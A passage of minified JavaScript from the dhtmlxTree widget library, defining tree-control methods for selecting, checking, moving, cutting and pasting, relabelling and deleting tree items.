0}if((this.parentObject.closeble)&&(this.parentObject.closeble!=\"0\")){a._HideShow(this.parentObject)}else{a._HideShow(this.parentObject,2)}if(a.checkEvent(\"onOpenEnd\")){if(!a.xmlstate){a.callEvent(\"onOpenEnd\",[this.parentObject.id,a._getOpenState(this.parentObject)])}else{a._oie_onXLE.push(a.onXLE);a.onXLE=a._epnFHe}}};dhtmlXTreeObject.prototype._epnFHe=function(c,e,a){if(e!=this.rootId){this.callEvent(\"onOpenEnd\",[e,c.getOpenState(e)])}c.onXLE=c._oie_onXLE.pop();if(!a&&!c._oie_onXLE.length){if(c.onXLE){c.onXLE(c,e)}}};dhtmlXTreeObject.prototype.onRowClickDown=function(c){c=c||window.event;var a=this.parentObject.treeNod;a._selectItem(this.parentObject,c)};dhtmlXTreeObject.prototype.getSelectedItemId=function(){var c=new Array();for(var a=0;a<this._selected.length;a++){c[a]=this._selected[a].id}return(c.join(this.dlmtr))};dhtmlXTreeObject.prototype._selectItem=function(m,n){if(this.checkEvent(\"onSelect\")){this._onSSCFold=this.getSelectedItemId()}if((!this._amsel)||(!n)||((!n.ctrlKey)&&(!n.metaKey)&&(!n.shiftKey))){this._unselectItems()}if((m.i_sel)&&(this._amsel)&&(n)&&(n.ctrlKey||n.metaKey)){this._unselectItem(m)}else{if((!m.i_sel)&&((!this._amselS)||(this._selected.length==0)||(this._selected[0].parentObject==m.parentObject))){if((this._amsel)&&(n)&&(n.shiftKey)&&(this._selected.length!=0)&&(this._selected[this._selected.length-1].parentObject==m.parentObject)){var h=this._getIndex(this._selected[this._selected.length-1]);var g=this._getIndex(m);if(g<h){var q=h;h=g;g=q}for(var l=h;l<=g;l++){if(!m.parentObject.childNodes[l].i_sel){this._markItem(m.parentObject.childNodes[l])}}}else{this._markItem(m)}}}if(this.checkEvent(\"onSelect\")){var o=this.getSelectedItemId();if(o!=this._onSSCFold){this.callEvent(\"onSelect\",[o])}}};dhtmlXTreeObject.prototype._markItem=function(a){if(a.scolor){a.span.style.color=a.scolor}a.span.className=\"selectedTreeRow\";a.i_sel=true;this._selected[this._selected.length]=a};dhtmlXTreeObject.prototype.getIndexById=function(c){var a=this._globalIdStorageFind(c);if(!a){return null}return this._getIndex(a)};dhtmlXTreeObject.prototype._getIndex=function(a){var e=a.parentObject;for(var c=0;c<e.childsCount;c++){if(e.childNodes[c]==a){return c}}};dhtmlXTreeObject.prototype._unselectItem=function(c){if((c)&&(c.i_sel)){c.span.className=\"standartTreeRow\";if(c.acolor){c.span.style.color=c.acolor}c.i_sel=false;for(var a=0;a<this._selected.length;a++){if(!this._selected[a].i_sel){this._selected.splice(a,1);break}}}};dhtmlXTreeObject.prototype._unselectItems=function(){for(var a=0;a<this._selected.length;a++){var c=this._selected[a];c.span.className=\"standartTreeRow\";if(c.acolor){c.span.style.color=c.acolor}c.i_sel=false}this._selected=new Array()};dhtmlXTreeObject.prototype.onRowSelect=function(h,g,m){h=h||window.event;var c=this.parentObject;if(g){c=g.parentObject}var a=c.treeNod;var l=a.getSelectedItemId();if((!h)||(!h.skipUnSel)){a._selectItem(c,h)}if(!m){if(c.actionHandler){c.actionHandler(c.id,l)}else{a.callEvent(\"onClick\",[c.id,l])}}};dhtmlXTreeObject.prototype._correctCheckStates=function(h){if(!this.tscheck){return}if(!h){return}if(h.id==this.rootId){return}var e=h.childNodes;var c=0;var a=0;if(h.childsCount==0){return}for(var g=0;g<h.childsCount;g++){if(e[g].dscheck){continue}if(e[g].checkstate==0){c=1}else{if(e[g].checkstate==1){a=1}else{c=1;a=1;break}}}if((c)&&(a)){this._setCheck(h,\"unsure\")}else{if(c){this._setCheck(h,false)}else{this._setCheck(h,true)}}this._correctCheckStates(h.parentObject)};dhtmlXTreeObject.prototype.onCheckBoxClick=function(a){if(!this.treeNod.callEvent(\"onBeforeCheck\",[this.parentObject.id,this.parentObject.checkstate])){return}if(this.parentObject.dscheck){return true}if(this.treeNod.tscheck){if(this.parentObject.checkstate==1){this.treeNod._setSubChecked(false,this.parentObject)}else{this.treeNod._setSubChecked(true,this.parentObject)}}else{if(this.parentObject.checkstate==1){this.treeNod._setCheck(this.parentObject,false)}else{this.treeNod._setCheck(this.parentObject,true)}}this.treeNod._correctCheckStates(this.parentObject.parentObject);return this.treeNod.callEvent(\"onCheck\",[this.parentObject.id,this.parentObject.checkstate])};dhtmlXTreeObject.prototype._createItem=function(s,r,n){var u=document.createElement(\"table\");u.cellSpacing=0;u.cellPadding=0;u.border=0;if(this.hfMode){u.style.tableLayout=\"fixed\"}u.style.margin=0;u.style.padding=0;var m=document.createElement(\"tbody\");var q=document.createElement(\"tr\");var g=document.createElement(\"td\");g.className=\"standartTreeImage\";if(this._txtimg){var h=document.createElement(\"div\");g.appendChild(h);h.className=\"dhx_tree_textSign\"}else{var h=this._getImg(r.id);h.border=\"0\";if(h.tagName==\"IMG\"){h.align=\"absmiddle\"}g.appendChild(h);h.style.padding=0;h.style.margin=0;h.style.width=this.def_line_img_x}var e=document.createElement(\"td\");var o=this._getImg(this.cBROf?this.rootId:r.id);o.checked=0;this._setSrc(o,this.imPath+this.checkArray[0]);o.style.width=\"18px\";o.style.height=\"18px\";if(!s){e.style.display=\"none\"}e.appendChild(o);if((!this.cBROf)&&(o.tagName==\"IMG\")){o.align=\"absmiddle\"}o.onclick=this.onCheckBoxClick;o.treeNod=this;o.parentObject=r;if(!window._KHTMLrv){e.width=\"20px\"}else{e.width=\"16px\"}var c=document.createElement(\"td\");c.className=\"standartTreeImage\";var l=this._getImg(this.timgen?r.id:this.rootId);l.onmousedown=this._preventNsDrag;l.ondragstart=this._preventNsDrag;l.border=\"0\";if(this._aimgs){l.parentObject=r;if(l.tagName==\"IMG\"){l.align=\"absmiddle\"}l.onclick=this.onRowSelect}if(!n){this._setSrc(l,this.iconURL+this.imageArray[0])}c.appendChild(l);l.style.padding=0;l.style.margin=0;if(this.timgen){c.style.width=l.style.width=this.def_img_x;l.style.height=this.def_img_y}else{l.style.width=\"0px\";l.style.height=\"0px\";if(_isOpera||window._KHTMLrv){c.style.display=\"none\"}}var a=document.createElement(\"td\");a.className=\"standartTreeRow\";r.span=document.createElement(\"span\");r.span.className=\"standartTreeRow\";if(this.mlitems){r.span.style.width=this.mlitems;r.span.style.display=\"block\"}else{a.noWrap=true}if(dhx4.isIE8){a.style.width=\"99999px\"}else{if(!window._KHTMLrv){a.style.width=\"100%\"}}r.span.innerHTML=r.label;a.appendChild(r.span);a.parentObject=r;g.parentObject=r;a.onclick=this.onRowSelect;g.onclick=this.onRowClick;a.ondblclick=this.onRowClick2;if(this.ettip){q.title=r.label}if(this.dragAndDropOff){if(this._aimgs){this.dragger.addDraggableItem(c,this);c.parentObject=r}this.dragger.addDraggableItem(a,this)}r.span.style.paddingLeft=\"5px\";r.span.style.paddingRight=\"5px\";a.style.verticalAlign=\"\";a.style.fontSize=\"10pt\";a.style.cursor=this.style_pointer;q.appendChild(g);q.appendChild(e);q.appendChild(c);q.appendChild(a);m.appendChild(q);u.appendChild(m);if(this.ehlt||this.checkEvent(\"onMouseIn\")||this.checkEvent(\"onMouseOut\")){q.onmousemove=this._itemMouseIn;q[(_isIE)?\"onmouseleave\":\"onmouseout\"]=this._itemMouseOut}return u};dhtmlXTreeObject.prototype.setImagePath=function(a){this.imPath=a;this.iconURL=a};dhtmlXTreeObject.prototype.setIconPath=function(a){this.iconURL=a};dhtmlXTreeObject.prototype._getLeafCount=function(g){var e=0;for(var c=0;c<g.childsCount;c++){if(g.childNodes[c].childsCount==0){e++}}return e};dhtmlXTreeObject.prototype._getChildCounterValue=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}if((a.unParsed)||((!a.XMLload)&&(this.XMLsource))){return a._acc}switch(this.childCalc){case 1:return a.childsCount;break;case 2:return this._getLeafCount(a);break;case 3:return a._acc;break;case 4:return a._acc;break}};dhtmlXTreeObject.prototype._fixChildCountLabel=function(l,g){if(this.childCalc==null){return}if((l.unParsed)||((!l.XMLload)&&(this.XMLsource))){if(l._acc){l.span.innerHTML=l.label+this.htmlcA+l._acc+this.htmlcB}else{l.span.innerHTML=l.label}return}switch(this.childCalc){case 1:if(l.childsCount!=0){l.span.innerHTML=l.label+this.htmlcA+l.childsCount+this.htmlcB}else{l.span.innerHTML=l.label}break;case 2:var h=this._getLeafCount(l);if(h!=0){l.span.innerHTML=l.label+this.htmlcA+h+this.htmlcB}else{l.span.innerHTML=l.label}break;case 3:if(l.childsCount!=0){var e=0;for(var c=0;c<l.childsCount;c++){if(!l.childNodes[c]._acc){l.childNodes[c]._acc=0}e+=l.childNodes[c]._acc*1}e+=l.childsCount*1;l.span.innerHTML=l.label+this.htmlcA+e+this.htmlcB;l._acc=e}else{l.span.innerHTML=l.label;l._acc=0}if((l.parentObject)&&(l.parentObject!=this.htmlNode)){this._fixChildCountLabel(l.parentObject)}break;case 4:if(l.childsCount!=0){var e=0;for(var c=0;c<l.childsCount;c++){if(!l.childNodes[c]._acc){l.childNodes[c]._acc=1}e+=l.childNodes[c]._acc*1}l.span.innerHTML=l.label+this.htmlcA+e+this.htmlcB;l._acc=e}else{l.span.innerHTML=l.label;l._acc=1}if((l.parentObject)&&(l.parentObject!=this.htmlNode)){this._fixChildCountLabel(l.parentObject)}break}};dhtmlXTreeObject.prototype.setChildCalcMode=function(a){switch(a){case\"child\":this.childCalc=1;break;case\"leafs\":this.childCalc=2;break;case\"childrec\":this.childCalc=3;break;case\"leafsrec\":this.childCalc=4;break;case\"disabled\":this.childCalc=null;break;default:this.childCalc=4}};dhtmlXTreeObject.prototype.setChildCalcHTML=function(c,a){this.htmlcA=c;this.htmlcB=a};dhtmlXTreeObject.prototype.setOnRightClickHandler=function(a){this.attachEvent(\"onRightClick\",a)};dhtmlXTreeObject.prototype.setOnClickHandler=function(a){this.attachEvent(\"onClick\",a)};dhtmlXTreeObject.prototype.setOnSelectStateChange=function(a){this.attachEvent(\"onSelect\",a)};dhtmlXTreeObject.prototype.setXMLAutoLoading=function(a){this.XMLsource=a};dhtmlXTreeObject.prototype.setOnCheckHandler=function(a){this.attachEvent(\"onCheck\",a)};dhtmlXTreeObject.prototype.setOnOpenHandler=function(a){this.attachEvent(\"onOpenStart\",a)};dhtmlXTreeObject.prototype.setOnOpenStartHandler=function(a){this.attachEvent(\"onOpenStart\",a)};dhtmlXTreeObject.prototype.setOnOpenEndHandler=function(a){this.attachEvent(\"onOpenEnd\",a)};dhtmlXTreeObject.prototype.setOnDblClickHandler=function(a){this.attachEvent(\"onDblClick\",a)};dhtmlXTreeObject.prototype.openAllItems=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}this._xopenAll(a)};dhtmlXTreeObject.prototype.getOpenState=function(c){var a=this._globalIdStorageFind(c);if(!a){return\"\"}return this._getOpenState(a)};dhtmlXTreeObject.prototype.closeAllItems=function(c){if(c===window.undefined){c=this.rootId}var a=this._globalIdStorageFind(c);if(!a){return 0}this._xcloseAll(a);this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"};dhtmlXTreeObject.prototype.setUserData=function(g,c,e){var a=this._globalIdStorageFind(g,0,true);if(!a){return}if(c==\"hint\"){a.htmlNode.childNodes[0].childNodes[0].title=e}if(typeof(a.userData[\"t_\"+c])==\"undefined\"){if(!a._userdatalist){a._userdatalist=c}else{a._userdatalist+=\",\"+c}}a.userData[\"t_\"+c]=e};dhtmlXTreeObject.prototype.getUserData=function(e,c){var a=this._globalIdStorageFind(e,0,true);if(!a){return}return a.userData[\"t_\"+c]};dhtmlXTreeObject.prototype.getItemColor=function(e){var a=this._globalIdStorageFind(e);if(!a){return 0}var c=new Object();if(a.acolor){c.acolor=a.acolor}if(a.scolor){c.scolor=a.scolor}return c};dhtmlXTreeObject.prototype.setItemColor=function(e,c,g){if((e)&&(e.span)){var a=e}else{var a=this._globalIdStorageFind(e)}if(!a){return 0}else{if(a.i_sel){if(g){a.span.style.color=g}}else{if(c){a.span.style.color=c}}if(g){a.scolor=g}if(c){a.acolor=c}}};dhtmlXTreeObject.prototype.getItemText=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}return(a.htmlNode.childNodes[0].childNodes[0].childNodes[3].childNodes[0].innerHTML)};dhtmlXTreeObject.prototype.getParentId=function(c){var a=this._globalIdStorageFind(c);if((!a)||(!a.parentObject)){return\"\"}return a.parentObject.id};dhtmlXTreeObject.prototype.changeItemId=function(c,e){if(c==e){return}var a=this._globalIdStorageFind(c);if(!a){return 0}a.id=e;a.span.contextMenuId=e;this._idpull[e]=this._idpull[c];delete this._idpull[c]};dhtmlXTreeObject.prototype.doCut=function(){if(this.nodeCut){this.clearCut()}this.nodeCut=(new Array()).concat(this._selected);for(var a=0;a<this.nodeCut.length;a++){var c=this.nodeCut[a];c._cimgs=new Array();c._cimgs[0]=c.images[0];c._cimgs[1]=c.images[1];c._cimgs[2]=c.images[2];c.images[0]=c.images[1]=c.images[2]=this.cutImage;this._correctPlus(c)}};dhtmlXTreeObject.prototype.doPaste=function(e){var a=this._globalIdStorageFind(e);if(!a){return 0}for(var c=0;c<this.nodeCut.length;c++){if(this._checkPNodes(a,this.nodeCut[c])){continue}this._moveNode(this.nodeCut[c],a)}this.clearCut()};dhtmlXTreeObject.prototype.clearCut=function(){for(var a=0;a<this.nodeCut.length;a++){var c=this.nodeCut[a];c.images[0]=c._cimgs[0];c.images[1]=c._cimgs[1];c.images[2]=c._cimgs[2];this._correctPlus(c)}this.nodeCut=new Array()};dhtmlXTreeObject.prototype._moveNode=function(a,c){var l=this.dadmodec;if(l==1){var h=c;if(this.dadmodefix<0){while(true){h=this._getPrevNode(h);if((h==-1)){h=this.htmlNode;break}if((h.tr==0)||(h.tr.style.display==\"\")||(!h.parentObject)){break}}var g=h;var e=c}else{if((h.tr)&&(h.tr.nextSibling)&&(h.tr.nextSibling.nodem)&&(this._getOpenState(h)<1)){h=h.tr.nextSibling.nodem}else{h=this._getNextNode(h);if((h==-1)){h=this.htmlNode}}var e=h;var g=c}if(this._getNodeLevel(g,0)>this._getNodeLevel(e,0)){if(!this.dropLower){return this._moveNodeTo(a,g.parentObject)}else{if(e.id!=this.rootId){return this._moveNodeTo(a,e.parentObject,e)}else{return this._moveNodeTo(a,this.htmlNode,null)}}}else{return this._moveNodeTo(a,e.parentObject,e)}}else{return this._moveNodeTo(a,c)}};dhtmlXTreeObject.prototype._fixNodesCollection=function(n,l){var c=0;var g=0;var m=n.childNodes;var a=n.childsCount-1;if(l==m[a]){return}for(var h=0;h<a;h++){if(m[h]==m[a]){m[h]=m[h+1];m[h+1]=m[a]}}for(var h=0;h<a+1;h++){if(c){var e=m[h];m[h]=c;c=e}else{if(m[h]==l){c=m[h];m[h]=m[a]}}}};dhtmlXTreeObject.prototype._recreateBranch=function(l,n,h,a){var c;var o=\"\";if(h){for(c=0;c<n.childsCount;c++){if(n.childNodes[c]==h){break}}if(c!=0){h=n.childNodes[c-1]}else{o=\"TOP\";h=\"\"}}var e=this._onradh;this._onradh=null;var m=this._attachChildNode(n,l.id,l.label,0,l.images[0],l.images[1],l.images[2],o,0,h);m._userdatalist=l._userdatalist;m.userData=l.userData.clone();if(l._attrs){m._attrs={};for(var g in l._attrs){m._attrs[g]=l._attrs[g]}}m.XMLload=l.XMLload;if(e){this._onradh=e;this._onradh(m.id)}if(l.treeNod.dpcpy){l.treeNod._globalIdStorageFind(l.id)}else{m.unParsed=l.unParsed}this._correctPlus(m);for(var c=0;c<l.childsCount;c++){this._recreateBranch(l.childNodes[c],m,0,1)}if((!a)&&(this.childCalc)){this._redrawFrom(this,n)}return m};dhtmlXTreeObject.prototype._moveNodeTo=function(s,v,r){if(s.treeNod._nonTrivialNode){return s.treeNod._nonTrivialNode(this,v,r,s)}if(this._checkPNodes(v,s)){return false}if(v.mytype){var m=(s.treeNod.lWin!=v.lWin)}else{var m=(s.treeNod.lWin!=v.treeNod.lWin)}if(!this.callEvent(\"onDrag\",[s.id,v.id,(r?r.id:null),s.treeNod,v.treeNod])){return false}if((v.XMLload==0)&&(this.XMLsource)){v.XMLload=1;this._loadDynXML(v.id)}this.openItem(v.id);var e=s.treeNod;var o=s.parentObject.childsCount;var q=s.parentObject;if((m)||(e.dpcpy)){var g=s.id;s=this._recreateBranch(s,v,r);if(!e.dpcpy){e.deleteItem(g)}}else{var h=v.childsCount;var u=v.childNodes;if(h==0){v._open=true}e._unselectItem(s);u[h]=s;s.treeNod=v.treeNod;v.childsCount++;var n=this._drawNewTr(u[h].htmlNode);if(!r){v.htmlNode.childNodes[0].appendChild(n);if(this.dadmode==1){this._fixNodesCollection(v,r)}}else{v.htmlNode.childNodes[0].insertBefore(n,r.tr);this._fixNodesCollection(v,r);u=v.childNodes}}if((!e.dpcpy)&&(!m)){var a=s.tr;if((document.all)&&(navigator.appVersion.search(/MSIE\\ 5\\.0/gi)!=-1)){window.setTimeout(function(){a.parentNode.removeChild(a)},250)}else{s.parentObject.htmlNode.childNodes[0].removeChild(s.tr)}if((!r)||(v!=s.parentObject)){for(var l=0;l<q.childsCount;l++){if(q.childNodes[l].id==s.id){q.childNodes[l]=0;break}}}else{q.childNodes[q.childsCount-1]=0}e._compressChildList(q.childsCount,q.childNodes);q.childsCount--}if((!m)&&(!e.dpcpy)){s.tr=n;n.nodem=s;s.parentObject=v;if(e!=v.treeNod){if(s.treeNod._registerBranch(s,e)){return}this._clearStyles(s);this._redrawFrom(this,s.parentObject);if(this._onradh){this._onradh(s.id)}}this._correctPlus(v);this._correctLine(v);this._correctLine(s);this._correctPlus(s);if(r){this._correctPlus(r)}else{if(v.childsCount>=2){this._correctPlus(u[v.childsCount-2]);this._correctLine(u[v.childsCount-2])}}this._correctPlus(u[v.childsCount-1]);if(this.tscheck){this._correctCheckStates(v)}if(e.tscheck){e._correctCheckStates(q)}}if(o>1){e._correctPlus(q.childNodes[o-2]);e._correctLine(q.childNodes[o-2])}e._correctPlus(q);e._correctLine(q);this._fixChildCountLabel(v);e._fixChildCountLabel(q);this.callEvent(\"onDrop\",[s.id,v.id,(r?r.id:null),e,v.treeNod]);return s.id};dhtmlXTreeObject.prototype._clearStyles=function(a){if(!a.htmlNode){return}var g=a.htmlNode.childNodes[0].childNodes[0].childNodes[1];var c=g.nextSibling.nextSibling;a.span.innerHTML=a.label;a.i_sel=false;if(a._aimgs){this.dragger.removeDraggableItem(g.nextSibling)}if(this.checkBoxOff){g.childNodes[0].style.display=\"\";g.childNodes[0].onclick=this.onCheckBoxClick;this._setSrc(g.childNodes[0],this.imPath+this.checkArray[a.checkstate])}else{g.style.display=\"none\"}g.childNodes[0].treeNod=this;this.dragger.removeDraggableItem(c);if(this.dragAndDropOff){this.dragger.addDraggableItem(c,this)}if(this._aimgs){this.dragger.addDraggableItem(g.nextSibling,this)}c.childNodes[0].className=\"standartTreeRow\";c.onclick=this.onRowSelect;c.ondblclick=this.onRowClick2;g.previousSibling.onclick=this.onRowClick;this._correctLine(a);this._correctPlus(a);for(var e=0;e<a.childsCount;e++){this._clearStyles(a.childNodes[e])}};dhtmlXTreeObject.prototype._registerBranch=function(c,a){if(a){a._globalIdStorageSub(c.id)}c.id=this._globalIdStorageAdd(c.id,c);c.treeNod=this;for(var e=0;e<c.childsCount;e++){this._registerBranch(c.childNodes[e],a)}return 0};dhtmlXTreeObject.prototype.enableThreeStateCheckboxes=function(a){this.tscheck=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setOnMouseInHandler=function(a){this.ehlt=true;this.attachEvent(\"onMouseIn\",a)};dhtmlXTreeObject.prototype.setOnMouseOutHandler=function(a){this.ehlt=true;this.attachEvent(\"onMouseOut\",a)};dhtmlXTreeObject.prototype.enableMercyDrag=function(a){this.dpcpy=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableTreeImages=function(a){this.timgen=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableFixedMode=function(a){this.hfMode=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableCheckBoxes=function(c,a){this.checkBoxOff=dhx4.s2b(c);this.cBROf=(!(this.checkBoxOff||dhx4.s2b(a)))};dhtmlXTreeObject.prototype.setStdImages=function(a,e,c){this.imageArray[0]=a;this.imageArray[1]=e;this.imageArray[2]=c};dhtmlXTreeObject.prototype.enableTreeLines=function(a){this.treeLinesOn=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setImageArrays=function(g,a,l,h,e,c){switch(g){case\"plus\":this.plusArray[0]=a;this.plusArray[1]=l;this.plusArray[2]=h;this.plusArray[3]=e;this.plusArray[4]=c;break;case\"minus\":this.minusArray[0]=a;this.minusArray[1]=l;this.minusArray[2]=h;this.minusArray[3]=e;this.minusArray[4]=c;break}};dhtmlXTreeObject.prototype.openItem=function(c){this.skipLock=true;var a=this._globalIdStorageFind(c);if(!a){return 0}else{return this._openItem(a)}this.skipLock=false};dhtmlXTreeObject.prototype._openItem=function(a){var c=this._getOpenState(a);if((c<0)||(((this.XMLsource)&&(!a.XMLload)))){if(!this.callEvent(\"onOpenStart\",[a.id,c])){return 0}this._HideShow(a,2);if(this.checkEvent(\"onOpenEnd\")){if(this.onXLE==this._epnFHe){this._epnFHe(this,a.id,true)}if(!this.xmlstate||!this.XMLsource){this.callEvent(\"onOpenEnd\",[a.id,this._getOpenState(a)])}else{this._oie_onXLE.push(this.onXLE);this.onXLE=this._epnFHe}}}else{if(this._srnd){this._HideShow(a,2)}}if(a.parentObject&&!this._skip_open_parent){this._openItem(a.parentObject)}};dhtmlXTreeObject.prototype.closeItem=function(c){if(this.rootId==c){return 0}this.skipLock=true;var a=this._globalIdStorageFind(c);if(!a){return 0}if(a.closeble){this._HideShow(a,1)}this.skipLock=false};dhtmlXTreeObject.prototype.getLevel=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}return this._getNodeLevel(a,0)};dhtmlXTreeObject.prototype.setItemCloseable=function(e,a){a=dhx4.s2b(a);if((e)&&(e.span)){var c=e}else{var c=this._globalIdStorageFind(e)}if(!c){return 0}c.closeble=a};dhtmlXTreeObject.prototype._getNodeLevel=function(a,c){if(a.parentObject){return this._getNodeLevel(a.parentObject,c+1)}return(c)};dhtmlXTreeObject.prototype.hasChildren=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}else{if((this.XMLsource)&&(!a.XMLload)){return true}else{return a.childsCount}}};dhtmlXTreeObject.prototype._getLeafCount=function(g){var e=0;for(var c=0;c<g.childsCount;c++){if(g.childNodes[c].childsCount==0){e++}}return e};dhtmlXTreeObject.prototype.setItemText=function(g,e,c){var a=this._globalIdStorageFind(g);if(!a){return 0}a.label=e;a.span.innerHTML=e;if(this.childCalc){this._fixChildCountLabel(a)}a.span.parentNode.parentNode.title=c||\"\"};dhtmlXTreeObject.prototype.getItemTooltip=function(c){var a=this._globalIdStorageFind(c);if(!a){return\"\"}return(a.span.parentNode.parentNode._dhx_title||a.span.parentNode.parentNode.title||\"\")};dhtmlXTreeObject.prototype.refreshItem=function(c){if(!c){c=this.rootId}var a=this._globalIdStorageFind(c);this.deleteChildItems(c);this._loadDynXML(c)};dhtmlXTreeObject.prototype.setItemImage2=function(g,a,h,e){var c=this._globalIdStorageFind(g);if(!c){return 0}c.images[1]=h;c.images[2]=e;c.images[0]=a;this._correctPlus(c)};dhtmlXTreeObject.prototype.setItemImage=function(e,a,g){var c=this._globalIdStorageFind(e);if(!c){return 0}if(g){c.images[1]=a;c.images[2]=g}else{c.images[0]=a}this._correctPlus(c)};dhtmlXTreeObject.prototype.getSubItems=function(e){var a=this._globalIdStorageFind(e,0,1);if(!a){return 0}if(a.unParsed){return(this._getSubItemsXML(a.unParsed))}var c=\"\";for(i=0;i<a.childsCount;i++){if(!c){c=\"\"+a.childNodes[i].id}else{c+=this.dlmtr+a.childNodes[i].id}}return c};dhtmlXTreeObject.prototype._getAllScraggyItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(e.childNodes[c].unParsed){var a=this._getAllScraggyItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllScraggyItems(e.childNodes[c])}if(a){if(g){g+=this.dlmtr+a}else{g=a}}}else{if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}}}return g};dhtmlXTreeObject.prototype._getAllFatItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}if(e.childNodes[c].unParsed){var a=this._getAllFatItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllFatItems(e.childNodes[c])}if(a){g+=this.dlmtr+a}}}return g};dhtmlXTreeObject.prototype._getAllSubItems=function(l,h,g){if(g){c=g}else{var c=this._globalIdStorageFind(l)}if(!c){return 0}h=\"\";for(var e=0;e<c.childsCount;e++){if(!h){h=\"\"+c.childNodes[e].id}else{h+=this.dlmtr+c.childNodes[e].id}var a=this._getAllSubItems(0,h,c.childNodes[e]);if(a){h+=this.dlmtr+a}}if(c.unParsed){h=this._getAllSubItemsXML(l,h,c.unParsed)}return h};dhtmlXTreeObject.prototype.selectItem=function(g,e,c){e=dhx4.s2b(e);var a=this._globalIdStorageFind(g);if((!a)||(!a.parentObject)){return 0}if(this.XMLloadingWarning){a.parentObject.openMe=1}else{this._openItem(a.parentObject)}var h=null;if(c){h=new Object;h.ctrlKey=true;if(a.i_sel){h.skipUnSel=true}}if(e){this.onRowSelect(h,a.htmlNode.childNodes[0].childNodes[0].childNodes[3],false)}else{this.onRowSelect(h,a.htmlNode.childNodes[0].childNodes[0].childNodes[3],true)}};dhtmlXTreeObject.prototype.getSelectedItemText=function(){var c=new Array();for(var a=0;a<this._selected.length;a++){c[a]=this._selected[a].span.innerHTML}return(c.join(this.dlmtr))};dhtmlXTreeObject.prototype._compressChildList=function(a,e){a--;for(var c=0;c<a;c++){if(e[c]==0){e[c]=e[c+1];e[c+1]=0}}};dhtmlXTreeObject.prototype._deleteNode=function(m,h,o){if((!h)||(!h.parentObject)){return 0}var a=0;var c=0;if(h.tr.nextSibling){a=h.tr.nextSibling.nodem}if(h.tr.previousSibling){c=h.tr.previousSibling.nodem}var l=h.parentObject;var e=l.childsCount;var n=l.childNodes;for(var g=0;g<e;g++){if(n[g].id==m){if(!o){l.htmlNode.childNodes[0].removeChild(n[g].tr)}n[g]=0;break}}this._compressChildList(e,n);if(!o){l.childsCount--}if(a){this._correctPlus(a);this._correctLine(a)}if(c){this._correctPlus(c);this._correctLine(c)}if(this.tscheck){this._correctCheckStates(l)}if(!o){this._globalIdStorageRecSub(h)}};dhtmlXTreeObject.prototype.setCheck=function(e,c){var a=this._globalIdStorageFind(e,0,1);if(!a){return}if(c===\"unsure\"){this._setCheck(a,c)}else{c=dhx4.s2b(c);if((this.tscheck)&&(this.smcheck)){this._setSubChecked(c,a)}else{this._setCheck(a,c)}}if(this.smcheck){this._correctCheckStates(a.parentObject)}};dhtmlXTreeObject.prototype._setCheck=function(a,e){if(!a){return}if(((a.parentObject._r_logic)||(this._frbtr))&&(e)){if(this._frbtrs){if(this._frbtrL){this.setCheck(this._frbtrL.id,0)}this._frbtrL=a}else{for(var c=0;c<a.parentObject.childsCount;c++){this._setCheck(a.parentObject.childNodes[c],0)}}}var g=a.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0];if(e==\"unsure\"){a.checkstate=2}else{if(e){a.checkstate=1}else{a.checkstate=0}}if(a.dscheck){a.checkstate=a.dscheck}this._setSrc(g,this.imPath+((a.parentObject._r_logic||this._frbtr)?this.radioArray:this.checkArray)[a.checkstate])};dhtmlXTreeObject.prototype.setSubChecked=function(e,c){var a=this._globalIdStorageFind(e);this._setSubChecked(c,a);this._correctCheckStates(a.parentObject)};dhtmlXTreeObject.prototype._setSubChecked=function(e,a){e=dhx4.s2b(e);if(!a){return}if(((a.parentObject._r_logic)||(this._frbtr))&&(e)){for(var c=0;c<a.parentObject.childsCount;c++){this._setSubChecked(0,a.parentObject.childNodes[c])}}if(a.unParsed){this._setSubCheckedXML(e,a.unParsed)}if(a._r_logic||this._frbtr){this._setSubChecked(e,a.childNodes[0])}else{for(var c=0;c<a.childsCount;c++){this._setSubChecked(e,a.childNodes[c])}}var g=a.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0];if(e){a.checkstate=1}else{a.checkstate=0}if(a.dscheck){a.checkstate=a.dscheck}this._setSrc(g,this.imPath+((a.parentObject._r_logic||this._frbtr)?this.radioArray:this.checkArray)[a.checkstate])};dhtmlXTreeObject.prototype.isItemChecked=function(c){var a=this._globalIdStorageFind(c);if(!a){return}return a.checkstate};dhtmlXTreeObject.prototype.deleteChildItems=function(g){var a=this._globalIdStorageFind(g);if(!a){return}var c=a.childsCount;for(var e=0;e<c;e++){this._deleteNode(a.childNodes[0].id,a.childNodes[0])}};dhtmlXTreeObject.prototype.deleteItem=function(e,a){if((!this._onrdlh)||(this._onrdlh(e))){var c=this._deleteItem(e,a);if(c){this._fixChildCountLabel(c)}}this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"};dhtmlXTreeObject.prototype._deleteItem=function(l,c,h){c=dhx4.s2b(c);var a=this._globalIdStorageFind(l);if(!a){return}var e=this.getParentId(l);var g=a.parentObject;this._deleteNode(l,a,h);if(this._editCell&&this._editCell.id==l){this._editCell=null}this._correctPlus(g);this._correctLine(g);if((c)&&(e!=this.rootId)){this.selectItem(e,1)}return g};dhtmlXTreeObject.prototype._globalIdStorageRecSub=function(a){for(var 